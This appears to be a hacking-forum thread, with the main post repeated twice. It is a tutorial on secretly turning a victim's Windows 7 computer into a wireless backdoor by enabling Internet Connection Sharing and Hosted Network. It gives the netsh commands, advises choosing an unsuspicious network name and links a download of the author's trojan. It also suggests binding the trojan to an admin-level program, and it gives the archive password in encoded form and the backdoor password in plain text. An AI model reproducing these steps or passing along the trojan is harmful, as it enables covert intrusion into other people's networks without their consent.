[unknownAttacker]

Theory

ICS (Internet Connection Sharing) is an old but not obsolete functionality that allows to use a computer as a router-gateway. Basically, you can connect your LAN to the internet by connecting one ('central') computer. Why isn't this function so popular now? There are some reasons, the most obvious being that when the 'central' computer is turned off, the whole LAN loses the internet access.

Hosted Network is a little-known Windows 7 feature that allows you to create a wireless private LAN (by default without access to the outside, but we'll get to it) with just your computer and a few clicks.

How is it related to hacking?

Simple. If someone enables ICS and HN on your computer, you probably won't notice if you don't check it specifically. When both are enabled, you have a wireless LAN that shares internet access as long as the 'central' computer is running and connected to the outside. Basically, the computer becomes a backdoor into any network it's connected to.

So, how to do it?

Simple, you need to open the Network & Sharing Center, open the properties of your connection and check 'allow other network users to connect through...'. You have ICS now. Now run command with admin privileges and type this (obviously, pass ssid and pass can be different, but try to make ssid not look suspicious).

Code:

netsh wlan set hostednetwork mode=allow ssid=uAhome key=uAbkdr001

Hosted network is configured now. Then type

Code:

netsh wlan start hostednetwork

It's running now.

Can it be done remotely?

Yes, I've written a small trojan to do this. It requires admin privs so make sure to bind it with something that also requires them.

Code:

DL: http://www.sendspace.com/file/orrmwc Scan: http://vscan.novirusthanks.org/analysis/55a608a7fdebe0083a5106f7810bc916/d2luZmk3Ymtkci1leGU=/

Code:

Encrypted pass: <~0JP::0JP790JP780JG180JP::0JP::0JP:90eb:90JP:90JP:90JP:90eb:90JP:90eb:80 JP:90JG180JP:90JG490JP:90eb=:~> Encryption alogrithm: plaintext pass -> binary -> ASCII85

This adds network with ssid 'uAhome' and pass 'uAbkdr001'. Remember, works only on win7

[unknownAttacker]

Theory

ICS (Internet Connection Sharing) is an old but not obsolete functionality that allows to use a computer as a router-gateway. Basically, you can connect your LAN to the internet by connecting one ('central') computer. Why isn't this function so popular now? There are some reasons, the most obvious being that when the 'central' computer is turned off, the whole LAN loses the internet access.

Hosted Network is a little-known Windows 7 feature that allows you to create a wireless private LAN (by default without access to the outside, but we'll get to it) with just your computer and a few clicks.

How is it related to hacking?

Simple. If someone enables ICS and HN on your computer, you probably won't notice if you don't check it specifically. When both are enabled, you have a wireless LAN that shares internet access as long as the 'central' computer is running and connected to the outside. Basically, the computer becomes a backdoor into any network it's connected to.

So, how to do it?

Simple, you need to open the Network & Sharing Center, open the properties of your connection and check 'allow other network users to connect through...'. You have ICS now. Now run command with admin privileges and type this (obviously, pass ssid and pass can be different, but try to make ssid not look suspicious).

Code:

netsh wlan set hostednetwork mode=allow ssid=uAhome key=uAbkdr001

Hosted network is configured now. Then type

Code:

netsh wlan start hostednetwork

It's running now.

Can it be done remotely?

Yes, I've written a small trojan to do this. It requires admin privs so make sure to bind it with something that also requires them.

Code:

DL: http://www.sendspace.com/file/orrmwc Scan: http://vscan.novirusthanks.org/analysis/55a608a7fdebe0083a5106f7810bc916/d2luZmk3Ymtkci1leGU=/

Code:

Encrypted pass: <~0JP::0JP790JP780JG180JP::0JP::0JP:90eb:90JP:90JP:90JP:90eb:90JP:90eb:80 JP:90JG180JP:90JG490JP:90eb=:~> Encryption alogrithm: plaintext pass -> binary -> ASCII85

This adds network with ssid 'uAhome' and pass 'uAbkdr001'. Remember, works only on win7

[unknownAttacker]

password to unpack archive or password created by backdoor? password to archive - you need to decode, algorithm is written here so if you know how to google, you'll know the pass. password created by backdoor is uAbkdr001

[darkv0id]

You always have great tutorials on wifi hacking man. Good job.